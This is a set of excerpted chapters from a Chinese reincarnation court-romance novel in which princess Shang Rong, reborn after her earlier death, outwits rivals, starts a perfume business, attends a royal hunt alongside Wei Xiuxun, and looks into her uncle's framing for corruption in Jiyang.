西察王默沙赤｜裸着粗壮有力的双臂，手持弯刀挟持她。尖锐的刀刃紧贴着白皙柔嫩的肌肤，她的脖颈上很快显现出一道清晰的血痕。
默沙低头对上她的眼眸，用令尚容几欲作呕的眼神打量着她，仿佛她只是他手中的玩物。
当时她远眺如黑云压境的靖国大军，似也恰好与骑于马上一身戎衣的魏修洵对望，神色却是从未有过的淡然，仿佛看透了这世间的恩怨浮沉。
后来她便将那支祖母赠予她的凤凰六珠金步摇毫不犹豫地笔直刺入自己的脖颈。
噗嗤一声，鲜血染红了她的衣裳，她径直倒了下去。
垂死之际，尚容觉得自己好似一只断了翅的孤雁，孤身来此，孤身离去，不带走半分。
尚容微微出神。
“殿下？”
翠桃的呼唤将尚容拉回了现实。她微微垂首，轻轻拭去红肿眼眸一侧的泪痕，逼迫自己敛去了情绪。
所以这一次，她再不会忍辱求全，任人宰割了。自她重生的那一日起，她就注定只为自己而活。
“或许……是本宫长大了吧。”尚容抿唇轻笑，笑容里却隐隐夹杂着几分妙龄少女本不该有的沉重。
只是这长大的代价，未免太重了些。尚容心道。
翠桃总觉得今日尚容说的话有些奇怪，还欲追问，却听得背后传来熟悉的声音。
“殿下！”
尚容转过身，见来者身着暗红绣花对襟坎肩，走到她身前欠身行礼。
尚容认得她，此人是祖母身边的贴身女官苏嬷嬷。
此人处事圆滑，得祖母心意，前一世尚容便与她有几分交集，不曾设防。
只是如今细细想来，祖母离世后苏嬷嬷便很快离开了慈禄宫，再无踪迹，此事着实蹊跷。
虽无实证，但尚容仍心疑苏嬷嬷或与旁人有所勾结，为了祖母她不得不防，是以如今也不必与她走得过近。
“苏嬷嬷来寻本宫所为何事？”
苏嬷嬷笑道：“太后娘娘想殿下了，故而派老奴来请殿下到慈禄宫一坐。正巧今日晋安侯府的二位郎君也在，娘娘心想也可相识一番。”
晋安侯府？尚容差点忘了前世祖母在世时有意在晋安侯府的郎君中为她挑选驸马这件事。
祖母知她性子柔弱，心忧她成婚后会得夫家欺辱，因得当朝晋安侯是祖母的堂侄，是以想着牵线保她下半辈子无忧，如今细细想来着实是费了一番苦心。
尚容眼眶微红，但她忍住了情绪不令人看出破绽，只道：“本宫知晓了，烦请苏嬷嬷带路。”
待尚容迈入慈禄宫正殿，见主位无人，晋安侯府的人倒是已然到齐。
“哟！这不是长公主吗！真是许久未见。”
为首的是晋安侯府世子魏辰锐。尚容只记得此人胸无笔墨，十足的草包一个，前世便素来对她不敬，只因她软弱不计较被养肥了胆子，今日见到尚容依旧双手叉腰，频频抖腿。
魏辰锐身后欠身的是二郎君魏辰泽，此人尚容鲜少听闻，故而对其知之甚少。
尚容环顾四周，不见魏修洵踪影，想来苏嬷嬷方才口中的两位郎君便是面前二位了。
待尚容回过神来，魏辰锐已然甩袖而坐。尚容勾了勾唇，上前走了两步，竟令魏辰锐感到一种从未有过的压迫感。
“本宫堂堂大靖长公主，你见本宫为何不行礼？”
“还有，本宫可曾允你入座？”
魏辰锐感觉自己仿佛被人当头打了一棒，脑袋一时有些发晕，愣在原地没有回应。
他观尚容眉心微蹙，朱唇紧抿，神态忿忿不似有伪。
但怎么可能呢？尚容这个软柿子从前见了他都缩着身子绕着走，这次怎敢主动找他的麻烦？魏辰锐忍不住嘟囔。
“魏辰锐，从前那是本宫不屑与你计较，但自今日后若你还对本宫不敬，本
7. 典当行
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李宣轻柔地将尚容额前的一缕碎发整理到耳后，怎般看怎般满意。
少女正值妙龄，已然出落得亭亭玉立，灼若芙蕖。令李宣意外的是，小孙女不再如之前那般性子柔软，眉眼显出几分坚毅，竟真衬出了几分小大人的模样。
“容儿以后若有什么想做的就尽管放手去做，祖母永远站在你这边。”
尚容轻握住祖母的双手，莞尔一笑，神色自然流露出一丝少女的娇态：“不满祖母说，容儿想做生意。”
李宣似是未曾料到，脸上笑意却始终不曾散去：“容儿缘何突然想起做生意了？”
尚容眉心微蹙，沉思道：“世间女子多不易，年少时多困于闺房，成婚后多困于家宅。世人都道男子的功绩，却少有人提及女子，容儿以为是世间偏见束缚了她们。”
“容儿略懂一些制香的门道，想开一家香楼，让女子有一处安身之所，并传授她们制香之道，这样她们今后亦能养活自己。”
李宣原是相国家的女儿，坐镇后宫这些年自也看淡了这红墙之下的孤苦寂寞，是以她不恼反笑，连连颔首。
“容儿你有这般想法很好，只是做生意起步艰难，祖母遣人给你宫中送点银子去。”
尚容摇了摇头，轻笑道：“容儿知晓祖母最疼容儿，只是容儿也不想总是烦劳祖母，此事容儿已想到应对之法，只需祖母赐给容儿今后的出宫令牌便好。”
“容儿果真是长大了。你父皇那里你放心，他若问下来哀家就说是哀家的意思，他也不会再多问。”
从慈禄宫离开后，尚容便直往宫门而去，惹得翠桃一阵不解。
“殿下，您今日还要出宫？”
翠桃迷糊地眨了眨眼，想着尚容早上刚从宫外回来，一时不知尚容心意。
“是。”尚容微微颔首，侧身嘴角微勾，意味深长，“单靠几句话未必能全然镇住那些胆子肥的下人，如今我们要做的便是在他们心绪不稳之时再添一把火。”
翠桃顿悟，再抬眸之时眼神忽闪：“殿下果然高明！”
京城典当行众多，尚容只为做足姿态以示自己对这件事的重视自不可能去个遍，是以便择了两家最大的典当行查问。
这一去，还果真撞见了不少宫里的下人。下人们见了尚容，个个都把抵押在典当行的珠宝取了回来，毕恭毕敬地递到了尚容手中。
尚容与翠桃一共只有四只手，很快竟都要拿不下了。
回宫的路上，翠桃终于按捺不住心虚喜笑颜开：“殿下，这些珠宝少说也值八千两，这下魏三郎君承诺的银子可不用愁了！”
尚容勾了勾唇，掀开车帘的一角，却远望见魏辰锐弯着身子四下张望，随即走入一处青石小巷。
尚容心觉事情有异，若她不曾记错，这小巷她曾走过，深处直通太子府西侧偏门。
那还是她四岁的记忆，尚容犹记得那时母后尚未崩世，她活泼好动十分贪玩，便在她这位哥哥生辰之日，在太子府摆宴之时偷偷从西侧偏门溜了出去。
只是这魏辰锐来太子府做什么……莫非他早已拜入太子门下。尚容心道。
“殿下你在看什么？”翠桃见尚容一时出神，忍不住凑过身来。
尚容缓缓放下车帘，浅笑道：“没什么，不过是来往行人罢了。”
马车在宫门外停下，此时已近黄昏，还有不到半柱香的功夫宫门便要落锁，是以尚容下了马车不曾耽搁，却远远望见一个熟悉的身影。
“殿下与我还真是有缘，在这儿也能遇见。”
魏修洵嘴角微噙，垂首见尚容和一旁丫鬟手中提着的木盒一侧浅露出几颗色泽饱满的珍珠，忍俊不禁：“殿下好本事，看来这四千两不过一日的功夫已然凑足了。”
尚容未与之言笑，从袖中去取出那只白玉镂雕双鱼香囊递到魏修洵手中：“物归原主。”
魏修洵右手提起香囊，细细观赏了一番，云淡风轻道：“殿下就这么想与我划清界限？”
“魏三郎君应知你我只为盟友，再无其他。如今欠你的，本宫来日必当归还。”
尚容的声音素来有些清冷，此刻似更冷了几分。
魏修洵随即轻笑：“一句玩笑话殿下休要放在心上。”
尚容微微颔首，随即想起方才在马车上看到的那一幕，抬眸道：“本宫方才见你长兄从西侧偏门入了太子府，可能是冲你来的，你多加小心。”
魏修洵嘴角微不可察地勾了勾，映着落日的眉眼流露出几分缱绻。他低下头，顺手将香囊系在腰间。
“多谢殿下告知。”
尚容见魏修洵神色不显，竟是丝毫不觉惊讶，应是早有对策。
“后日便是秋猎，魏三郎君今日见了本宫之后便去做了部署？”
魏修洵眉眼轻扬，似朱砂的浅红小痣随着笑意微微晃动：“殿下知我。”
果真心思缜密非常人所及。尚容心道。
“想来养伤也是你的说辞，若你真想入宫，祖母自也阻不了你。”
“殿下会去吗？”
尚容微微抬眸，直对上那双自带柔情的桃花眼，桃花眼眼尾微微上扬，似染得几缕晚霞落下的红晕。
“本宫不去，谁来做魏三郎君的挡箭牌？”尚容转过身向宫门走去，字字笃定。
魏修洵目送着尚容逐渐远去的背影，良久转身而去。
“殿下您往年都是不去的……秋猎毕竟危险，若是您不想去回绝一声就是了。”尚容方才的一番话听得翠桃心惊胆战，嚅嚅道。
尚容轻柔地勾了勾翠桃的鼻梁，笑道：“秋猎或许危险，这位魏三郎君可不会将自己置身于险境。”
“况且他也是看中了我这个长公主的用处，才会主动与我合作，不是吗？”
翠桃似懂非懂，如入云雾，但见尚容心中有数，所为并非贸然，便不再多问。
待尚容迈入琼华宫，却见洒扫丫鬟中多了一副生面孔。
“你叫什么名字？”
那丫鬟转过身来应道：“回殿下，奴婢名唤韶淳，是今日新入宫的。”
尚容本以为魏修洵派来的人应是英气逼人的女娘，却未曾面前女娘生着一双细长的蛾眉，观之柔弱娉婷，竟看着比自己还手不能提几分。
不过尚容心想魏修洵此人虽时有几分荒唐，令人琢磨不透，却也不至于在这件事上骗自己，想来韶淳着实是可用之人。
“韶淳，随本宫进屋。”
“是！”
待尚容和韶淳进了屋，翠桃带上了门。
“你便是魏修洵派来的人吧。”
“是。”
尚容忙了一日尚未用晚膳，此时倚靠在太师椅上洗净了手，从安放在一旁的蓝釉海棠花纹高足盘中拿了一块莲蓉酥。
然而尚容还未将那块莲蓉酥递到唇边，却见韶淳的目光直晃晃地落在自己手中的莲蓉酥上，尚容一时竟有些微微愣住。<
8. 入围场
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“这是何物？”韶淳顿时被这翠桃的口中的清神丸所吸引，就连腹中饥饿都顿时少了几分，“我还从未听说过。”
尚容层层翻开拢着的香云纱手绢，露出五颗圆润的深棕色药丸。
“这是本宫自制的清神丸，从前上琴课难免有时困乏便含一颗在口中，有清神醒脑之效，韶娘子若感兴趣可以尝一颗。”
“竟这般神奇！”
尚容如此盛情邀请，韶淳自觉却之不恭，加之心里泛痒便取了一颗含在口中，只觉初时尝得一丝酸涩，而后细细品来又觉清爽，一颗下来困意果真消散了不少。
“主君一开始说殿下要做生意我还心生疑虑，不曾想殿下所制清神丸竟有如此奇效！果真妙哉！”
韶淳难掩心中激动，忍不住追问：“殿下，您是如何做到的？”
“清神丸以杏肉，秋梨为主料，以薄荷叶为辅，需将杏肉晾干，将秋梨蒸煮，再将二者与少量薄荷叶捣碎成泥搅拌均匀，揉成丸状，小火蒸一溜再静置半日。”
“取杏肉之酸涩，秋梨之清爽，添以薄荷叶之性凉便可。”
尚容笑道：“韶娘子若肯传授本宫生意上的道理，本宫定虚心求教。”
“殿下客气了。”
第三日是一年一度皇家狩猎的日子，辰时尚容便随行启程前往盛兰围场。
相传这盛兰围场占地可与皇城比肩，颇具盛名。
围场最外层以小兽区为主，多是些温顺的兽类，而位于围场最深处则是危机四伏的野兽区。入野兽区若射得野兽虽可得皇帝嘉奖，却亦是生死难料。
相传先皇的第五个皇子，也就是当今圣上的五弟曹王年少时狩猎入了野兽区出了意外，先皇派人去寻，便只寻得几片满是血迹的碎衣。
尚容幼时听得宫中老人议论过几句，虽少不了几分添油加醋，但尚容此刻回想还是忍不住后背发凉。
她是来当挡箭牌的，但绝不是来送命的。尚容稳了稳乱了几分的心绪。
待抵达盛兰围场用完午膳，秋猎大典便算开始了。各皇族，大臣与世家子弟皆聚于围场最外层，静候皇帝亲狩。
永嘉帝生得魁梧又正值壮年，一身戎装威严尽显。他接过身旁公公递来的一只雕翎羽箭，微微眯眼拉弓射箭，一只在山野中踱步的野兔应声倒下。
众人高呼：“吾皇万岁万岁万万岁！”
“诸位尽兴！”
永嘉帝笑着，那笑容似是极为善意，映入在一旁观礼的尚容的眼中确是生冷的，冷入骨髓。
其实尚容早该猜到，能坐上帝位俯看天下之人，儿女夫妻亲情皆可弃之如履，素来最是无情。只可怜当年母后崩世后，她竟还期待他这个父亲能给予她安慰与关爱，最终等来的也不过宣告天下的一纸帝后婚书罢了。
或许，在他的心中，母后崩世后，他这个女儿便也死了。之后的日日夜夜，他只会在尚音欺负她却在他面前撒娇告状之时想起责罚她来。
尚容冷笑一声，随即将眼底情绪尽数抹去。
而后永嘉帝离去，便是自由狩猎时间。此时日头正烈，尚容便择了一处软卧品茶，便听得不远处传来一阵动静。
“我看这京中子弟要轮射箭怕是无人能及你！”
一侧狩猎正在进行，勇宁侯府世子齐敬两支羽箭猎得两头野兔，风头正盛。
“我与世子比试一番。”
这声音，听着竟有几分熟悉。
尚容侧过身去，便见魏修洵走出人群。他今日着一身玄色绣金骑装，墨发高束半散，腰间束以朱红色皮带。
两箭皆中似是已然无法超越，尚容心知魏修洵要想获胜，唯有另寻奇招。
只见魏修洵接过一支羽箭，身体重心微微倾斜，逐渐拉弓至满月蓄以强力，远望去还真有几分少年将军的意味。
嗖的一声，羽箭往野兔的方向射去，射中后却未就此停下，而是自其背部二处直直射入站在后处的另一只野兔。
一箭双雕，毫无疑问，他赌赢了。
尚容微微勾唇。
“射野兔有什么意思？”齐敬见自己被下了脸面，脸涨得通红，嚷道，“你敢不敢和本世子往里走射麋鹿？”
“却之不恭。”
魏修洵扬唇轻笑，微微侧目眼神落在一旁靠在软卧上着一身绛红骑装的尚容身上，缓缓道：“不过我答应了一人同行。”
尚容抬眸，见魏修洵牵着一匹雪色良驹从远处而来。那良驹身形不如其他马匹高大，却毛色鲜亮，性情观之也格外乖顺。
“殿下，请吧。”他微微欠身，嘴角微噙，“我已替殿下备好了匹温顺的良驹。”
尚容起了身，在魏修洵的帮助下上了马，向入口而去。
而魏修洵则是接过贴身侍卫长青手中牵着的一匹红棕色烈马，熟稔地翻身上马，动作极为干脆，未有分毫拖泥带水。
“从前长公主从不参加秋猎，今日怎的来了？”
与其他王公贵族一般，前世齐敬便不待见空有长公主尊位实则懦弱不受宠的尚容，今日见了尚容更是忍不住夹枪带棒，就差当面笑出声来了。
反观尚容神色淡淡，丝毫不被其所扰：“盛兰围场乃皇室猎场，齐世子非皇族血脉皆能来此，本宫为何不能？”
齐敬一时语塞。
“参加与否皆为本宫所愿，父皇都未曾多言，那里轮得上齐世子置喙？”尚容步步紧逼，分毫不让。
“你！”
齐敬素来养尊处优，哪里受过这份屈辱？眼看着齐敬就要当着是尚容的面发作，一旁的几个世家子弟连忙劝阻，齐敬这才顺了气。
“狩猎凭的是真本身不是嘴上功夫，若真有本事便在狩猎上见真章！”齐敬高声道，随即暗暗发笑，“本世子且看你魏修洵如何取胜！”
言罢，齐敬便翻身上马，驾马而去。
尚容远望着齐敬的背影逐渐消失在视线之中，微微侧身却见魏修洵嘴角微噙，似是看戏看得津津有味。
“再不走便赶不上了。”尚容没好气地说了一句。
“不急，殿下先行，我很快赶上。”
言已至此，尚容骑马往齐敬方才消失的地方而去。果然没过多久，魏修洵便在背后跟了上来，尚容压住缰绳，马行得慢了些，二人便并肩而行。
“出什么事了？”
“一会在小兽区和野兽区的分岔路口停下，不要再盲目往前。”魏修洵搭箭射了几只野兔，勾唇道。
尚容心中顿生一番思量，良久蹙眉道：“莫非……”
“两区分岔路口原有木牌，我怀疑魏辰锐派人将木牌调换了。”魏修洵不予置否。
“他便这么想让你死。”尚容朱唇微启，沉思片刻便觉事情不对，“只是魏辰锐此人素来莽撞，想来此事未必全然是他的手笔。”
魏修洵勾了勾唇，风流自成的桃花眼此刻却似午夜寒星，谈笑之间渗着几分凉意：“那便要问问我这位不动声色的二哥了。”
魏辰泽。尚容心中顿时明了。
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京城也是有的，只是不似纪阳这般隆重。是以尚容缓缓开口：“纪阳的迎冬与京城似有些不同。”
“确实如此，纪阳的迎冬一向是较为隆重的，这也与一个民间故事有关。”薛文朗道。
尚容勾了勾唇：“什么故事？”
“相传上古年间有一将军蚩延在沙场战死，他的妻子连忧不信丈夫死讯，便哭哭追寻，结果蚩延也因不舍妻子不入轮回，灵魂幻化成人，与妻子在纪阳的迎冬这一日团聚。”
薛文朗顿了一顿，微微侧目：“是以迎冬在纪阳不仅是为了顺应自然，怀念故人，也是为了庆祝团圆。”
“原来如此。”
尚容微微颔首，远远望去不远处有一画坛，只待走近了些，却觉得那些画中人容貌虽好，却总觉得少了几分神韵。
“殿下喜欢？”薛文朗察觉到尚容的目光落在画摊上，随即道。
“我随意看看罢了。”
“殿下先走，我随后就来。”
尚容见薛文朗转身，便也不再多问，只往前走去。片刻后，薛文朗便再次跟在尚容身后。
尚容回眸，见他将画板夹在手肘间，右手手持画笔，望着自己亦步亦趋。
“表哥在做什么？”
薛文朗快速落笔，脸颊微微涨红，好不容易鼓起勇气对上尚容的双眸：“我看殿下方才喜欢画，便去画摊上买了画板和画笔，想画一幅画送给殿下。”
言罢，薛文朗将画递到了尚容手中。
尚容低头见画中少女身着与自己一般的蔷薇色镶丝烟罗绮云裙，长发飘然如絮，回眸浅笑眼眸含光。虽是寥寥几笔，却神韵尽显，丝毫不输尚容见过的宫廷画师。
尚容正欲开口，手中画纸便被人夺过。
“殿下，这画倒是不错。”
尚容侧目见魏修洵着一身暗红双面绣白鹤羽长袍，长发半束半散，此时正低头仔细地打量着手中的画纸，嘴角微噙，唇边泛着似有若无的笑意。
尚容心想这还真是巧，自己前脚回绝了魏修洵的邀约，后脚便在接上与其撞了个正着，这下魏修洵肯定少不了揶揄她几句。
一旁的薛文朗一时愣在原地。
可尚容总觉得今日魏修洵似是与以往有些不同。他将画纸递回她手心里，随即上前几步，二人之间的距离被飞速拉近，近得甚至能感受到彼此的呼吸。
尚容分明见他勾了勾唇，如黑曜石一般的眼眸深处却不含分毫笑意，声音低沉。
“原来这便是殿下口中的要紧事？”
尚容本欲开口，却见魏修洵转过身去笑道：“想必这位便是薛府的公子薛文朗吧。”
薛文朗方才目睹了尚容与此人的一番对话，察觉到二人极为熟稔，此时顿了一顿，望着尚容嚅嚅道：“殿下，这位是……”
“晋安侯府三郎君魏修洵。”尚容道。
薛文朗神色一紧，微微欠身：“见过魏三郎君。”
“我无官职在身，薛公子不必如此。”魏修洵双手抱胸，眉眼轻扬，“既然相逢便是缘，我也初来乍到，不知可否请薛公子带我一道？”
23. 自欺人
声声入耳，薛文朗薄唇轻抿，侧身与尚容对视，道：“好。”
三人一道行至集市口，气氛却有些莫名的尴尬。尚容走在中间，魏修洵与薛文朗一左一右，三人皆无交谈，就连魏修洵今日也格外安静。
尚容实在有些忍不住，指着不远处四周围满了人的鼓台，先开了口：“去那处看看吧。”
“既然殿下想看，魏某自然奉陪。”魏修洵把玩着手中的双面泥金扇，大步向前走去。
待尚容走得近了些，才听清鼓台上的人说的话。
“诸位，今日是纪阳一年一度的迎冬盛会，为了纪念迎冬，一会我们会按照惯例选上两位幸运的客人扮演蚩延将军和连忧夫人，你们说好不好！”
台下人头攒动，掌声如雷：“好！好！”
台上头戴圆帽的青年男人环顾四周，目光却落在了立在人群最外围的尚容和魏修洵身上，笑道：“这位郎君，还有这位小姐，可否上台？”
尚容被四周的叫喊声扰得太阳穴突突直跳，根本不曾听清台上的动静，转身便欲离去，却被魏修洵握住手腕。
“来都来了，殿下何不体验一下与民同乐？”
尚容感觉到手腕处传来丝丝缕缕的炙热，抬眸便见魏修洵对着自己扬唇一笑，一时微微出神。待思绪回笼，已然被魏修洵护在身后，上了鼓台。
尚容有些茫然，环顾四周长吸了一口气。
“殿下不必紧张，跟着我便好。”魏修洵依旧握着尚容的手腕不曾松开，他眼尾微微上扬，鼻梁间缀着的朱砂小痣随着笑意轻轻晃动。
不知为何，尚容竟真的感到一种说不清道不明的心安。
随后战鼓擂，魏修洵单手舞枪，眼神凌厉，红衣掀动，随风飘荡，似意气风发的少年将军，又似沙场上的噬血杀将。
透过朦胧的光影，尚容仿佛又回到了西察，回到了两军阵前与魏修洵那个意外的，无声的对视。
那时的魏修洵已是权势滔天的晋安侯，又手握万千铁骑，朝堂之上若论威严地位除了当朝帝王无人能出其右。他高骑于战马之上望着她，就仿佛不愿入局的旁观者，不动声色间便能看淡生死。
可经过这段时日的相处，纵然她不愿承认，心中还是会忍不住去想若是最终还是一样的结局，他是否还会如前世一般冷眼相待。
就在此时，长枪置地，魏修洵垂眸与她对视，轻声道：“殿下在想什么？”
尚容思绪回笼，摇了摇头，随即被魏修洵握住双手，二人腾空而起。
尚容只浅学过韶淳传授的武学皮毛，此时紧紧握着魏修洵的衣袖不敢松手，生生将上好的绸缎蹂｜躏出了些许褶皱。
“殿下不愿说我自也不会逼迫，日后若是殿下想说了我随时奉陪。”
魏修洵羽睫微动，桃花眼映着面前少女的容貌，不再如黑曜石般晦暗不明。
尚容抬眸，良久道：“好。”
言罢，尚容见魏修洵唇边泛起一阵坏笑，心头顿时一颤。
待回过神来，尚容发觉自己已然不在鼓台上，而是被魏修洵带到了一旁的小巷里。
“你带我去哪儿？”尚容眉头微蹙，挣脱开来。
“有正事与殿下谈，既然殿下不愿来，我便只能请殿下来了。”魏修洵勾了勾唇，玩味一笑。
魏修洵似猜到尚容的心思，顿了一顿，缓缓道：“我会派长青与薛公子说，不会让他久等。”
尚容微微颔首，她总觉得今日魏修洵似是心情不佳。若说他是因为自己拒绝了他的邀约而不喜，这情绪也维持得太久了些……尚容心想。
除非……他是因为自己与薛文朗走在一道吃醋了。
尚容很快自我否定了这个可怕的想法。
纵然经历生死，她与魏修洵已然是患难与共的盟友，但二人联手无非是为了共同的利益，至于私交更是谈不上。终究还是她多虑了，说不定只是他今日心情不佳罢了。
尚容跟着魏修洵进入了一家酒楼的雅间，合上了门。
“你要找的人可有消息了？”尚容朱唇微启。
魏修洵沏了一壶茶，应道：“不曾。”
“也是，这纪阳城内的百姓众多，想要找人自是要多费一般功夫。”尚容微微颔首道。
“南义教和金蚕蛊的事韶淳都与我说了。”魏修洵抬眸与尚容对视，眸色渐深，薄唇轻抿，“这些年我也在暗中调查南义教的行踪，我要提醒殿下一句。”
“殿下要助薛家也要注意分寸，别把自己给搭进去了。”魏修洵顿了一顿。
“看如今情势，矿洞内危机四伏，殿下切不可擅自下矿。”
尚容不予置否，缓缓开口：“若非迫不得已，我自不会采取下下之策，这一点你放心。”
魏修洵挑了挑眉：“若是真到了迫不得已的时候呢？”
尚容薄唇紧抿。这一点她并非没有考虑过，南义教野心昭著，纵然他们身处纪阳也并非完全安全，可要真到了迫不得已的时候，她也只能搏上一搏，赌上一赌了。
“那我便带人与你一同下矿。”
魏修洵似是不曾料到尚容作此反应，挑了挑眉，肆意把玩着腰间的白玉镂雕双鱼香囊：“殿下就这么肯定我会相助？”
尚容将白瓷杯送到唇边，神色淡淡：“你并非助我，是助你自己。”
“大半日的功夫，想必你依然搜过了这纪阳，却不曾找到你乳母后人的踪迹。”尚容缓缓道，“有很大一种可能，他在矿洞附近，或是在矿洞之中，所以你要下矿。”
魏修洵托着下颚，唇边笑意浓重。微红的烛光散落在那双风流的桃花眼间，更衬得一鼙一笑含着几分缱绻绵长。
尚容见他起了身，斜靠在窗边，神态慵懒。
此时窗外传来一阵烟花腾空绽放的声响，尚容起身走到窗边，顺着魏修洵的目光望去，见烟花如流星划破天际，在如墨的夜幕中留下一道道炫丽的轨迹，而后在一瞬间化为灰烬。
“这是你准备的？”尚容回忆起韶淳当时的神态，侧身道。
“借花献佛罢了。”魏修洵勾了勾唇，神色不显。
“殿下可知我今日为何有些反常？”
尚容不曾料到他会提及此事，试
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探道：“是因为你不曾找到乳母的后人而心神不宁？”
魏修洵嘴角微噙，摇了摇头。他上前一步，低头直直对上尚容的眼眸，目光不曾移开：“我本也以为如此。”
尚容感受到呼吸有些灼热，她长舒了一口气，强迫自己恢复往日神色。
她见他薄唇微动，缓缓开口。
“直到方才我才知晓自己是因为殿下，我是在自欺欺人。”
魏修洵望见尚容神色微动，往后退了半步，自嘲地笑了笑：“我虽不知殿下缘何惧我，却也知晓殿下自有自己的苦衷。”
尚容定了定神，轻声道：“或许日后，我会与你解释。”
“好，我等殿下。”
两日后，尚容用完早膳便听闻门外传来一阵声响。
邵筠推门而入，面色暗沉，眼袋颇深，似是一夜未眠。
尚容意识到事情有异：“姨母，出什么事了？”
邵筠握住尚容的小臂，眼角泪痕微干：“容儿……你姨夫……出事了！”
尚容神色一凛，将碗筷搁在一旁，陡然起身：“姨母你慢慢说，姨夫好好的出什么事了？”
“你姨夫昨夜一夜未归，我还以为是处理公务晚了便不曾回来。”邵筠哽咽道，“谁知今日一早官府便派人来了府中……说是贪污受贿，还害死了人……今儿个就要下狱了！薛府要被人严加看守……”
“可他绝不是这样的人……他想来恪尽职守，为民着想，怎会贪污受贿呢？”
尚容安抚着邵筠的情绪，眸色渐深：“我也不相信姨夫是这样的人，况且这件事未免发生得也太巧了些。官府做事讲究证据，此案如今由谁主理？”
“是一个叫翁翔的大人，说是陛下亲授旨意，如今是纪阳的新任知州。”
“这不可能，父皇远在京城，怎么会此时传旨，新官上任如此之快！”尚容察觉到事情有些不对，笃定道。
“这样姨母，我去一趟官府看看情况，你们先留在府中切莫轻举妄动。”
尚容言罢正欲转身，却被邵筠拉住。
“太危险了容儿……万一他们……”邵筠双眼红肿，声音相比平日有些沙哑。
尚容抚了抚姨母的双手，浅浅一笑：“他们暂时还不敢动我，再说了，我只是去查看情况，不会乱来，姨母不必忧心。”
尚容随即转身出了客房，将至府门前时果然望见几个士卒打扮的男人守在门口。
尚容上前走了几步，便被拦下。
“后退！没有翁大人的口令任何人不得出薛府！”其中一个士卒高声喝道。
“任何人……”尚容轻蔑地笑了笑，“也包括本宫吗？”
那士卒愣了一下，随即笑道：“你要是公主的话……老子就是亲王！”
翠桃脸色涨红，脱口而出：“放肆！竟敢对当朝长公主殿下无礼！”
尚容神色不改，从袖中取出一块凤纹玉佩轻轻一晃，那士卒顿时傻了眼。
“你若此时让开，本宫念你无知，饶你一条性命。可若你执意不让，就该掂量掂量，你有没有这个胆子。”
24. 辰晖山
话音未落，方才还在捧腹大笑的士卒嘴角逐渐僵硬，他抬眸望向尚容，身体战栗，随即双腿一软啪地一下跪了下去。
“长公主殿下饶命……是小的方才有眼无珠！”
不过是个欺软怕硬的小人，尚容还没愚蠢到和这样的人置气。她淡淡道：“开门。”
“是……是！”
纪阳府衙离薛府并不算远，故而不到半柱香的功夫，尚容便远远瞧见了。
只不过今日纪阳府衙大门紧闭，府衙外空无一人，观之萧条之至。
“殿下，府衙外怎会一个人都没有？”翠桃嚅嚅道。
尚容嘴角轻扬：“你也看出来有些不对。”
“方才姨母的消息来得急，我尚且来不及多想。但方才来府衙的路上，我却有了几分猜想。”
尚容蹙了蹙眉，朱唇微启：“自从姨夫得了图纸之后，一切未免都发生得太巧了，就好像背后有一只手一直在暗处推波助澜。”
“可是殿下……这次是陛下的旨意啊！”翠桃微愣道，随即猛然抬眸，“莫非……”
“进去看看再说。”
尚容握住面前的青铜门环，重重叩门。片刻后，门从里面被推开。
开门的是一个小卒，看上去未至而立，他仔细打量着面前身着紫绡累珠散花凤尾裙的少女，只觉气度雍容，端庄典雅。他顿时眼眸微亮，试探着轻声道：“是……长公主殿下？”
“你认得本宫？”尚容眉心微挑。
“小的不曾见过殿下芳容，只是听得一些消息猜测罢了。”
言罢男人便欠身行礼，言辞激荡：“小的吕江曾受过薛大人恩惠，大人为官这些年恪尽职守，爱民如子，断不会做出贪污受贿，害人性命之事，请殿下一定要还大人一个公道！”
倒是个知恩图报的人，着实难得。尚容心想。
“带路吧，本宫去见见新上任的翁大人。”
“是。”
吕江引着尚容走到一处房间，房门不曾关进，露出一个细小的缝隙。透过缝隙，尚容隐隐望见坐在红木椅上身着官服的中年男人。
尚容叩了叩门，随即推门而入。
“都说了无事别来打扰，听不懂……”翁翔一手撑着桌面立起身来，眼眸微红，对上尚容的眼神之时微微愣住。
“看来是本宫不请自来，打扰翁大人了。”尚容勾唇一笑。
翁翔明了来者身份，唇边挤出几分油腻的笑意，试探道：“下官不敢……殿下是为了薛大人之事来的？”
尚容深知自己来意定然瞒不住，不予置否，神色不变：“本宫听闻薛大人犯了贪污受贿，草菅人命的重罪，只是薛大人毕竟是本宫的姨夫，本宫也要来看看实证。”
翁翔似是毫不意外，欠身笑道：“那是自然，那是自然。”
翁翔挥了挥手，片刻后两个木箱便被抬到了厅中，箱内各有白银三千两，总计六千两。
“殿下，这是在薛大人城西的私宅里发现的，还有人证。”
翁翔拍了拍手，两个士卒从一旁抬出一个满身是伤，躺在担架上奄奄一息的男人。
“殿下，这便是苦主，他和死去的人都是替薛大人看守私宅钱财之人，薛大人听闻风声担心事情败露，便欲杀人灭口，也是他命大才逃过一劫。”
翁翔眼眶微微润湿，声音低沉：“我素闻薛大人美名，不曾想……一时之欲终究是害了薛大人。”
“翁大人放心，既然此事证据确凿，本宫自也不会为姨夫推脱。”尚容眸色渐深，“听闻父皇为了此事下了圣旨到纪阳。”
翁翔听罢拭干眼角泪痕，连连颔首，转身边从屋内取出一道明黄圣旨递到尚容手中：“还请殿下过目。”
尚容接过圣旨，见其材质确为上等蚕丝所制，上等蚕丝多为贡品，极为难得，而轴柄为牛角质地，细腻光滑，圣旨上印有特殊龙纹，可见绝非伪造。
至于圣旨上的字迹，素来多出自翰林院之笔，是以从字迹上无从下手。
“既如此，本宫便不打扰了。”尚容将圣旨送回翁翔手中，浅笑道。
“殿下慢走。”
尚容走出府衙之时，又遇见脸色涨红的吕江。
“就连殿下也救不了大人吗？”
尚容神色不显，将一个钱袋递到其手中：“身正不怕影子斜。你若有心，便替本宫打点一些，也好让薛大人少受些苦。”
吕江眼眶微红：“定不负殿下所托！”
待尚容走出府衙，一旁的翠桃总算忍不住了。
“殿下，我们这便走了吗？”翠桃本以为尚容会细查此案，如今却不再追问，着实有些摸不着头脑。
尚容勾了勾唇，眸色浅淡：“既是他们早就安排好的，不论本宫再如何查都无结果，此局的解法不在此。”
“叫上韶淳，本宫要去一趟安平，以免打草惊蛇，翠桃你便留下对外造成本宫还在薛府的假象。”
“安平？”翠桃抬眸道。
尚容微微颔首。
此时已然入冬，按照往年惯例通过乡试参加春闱的考生大多已然准备动身前往京都。尚容犹记得这一年的春闱永嘉帝特请宫文甫出山担任主考官。
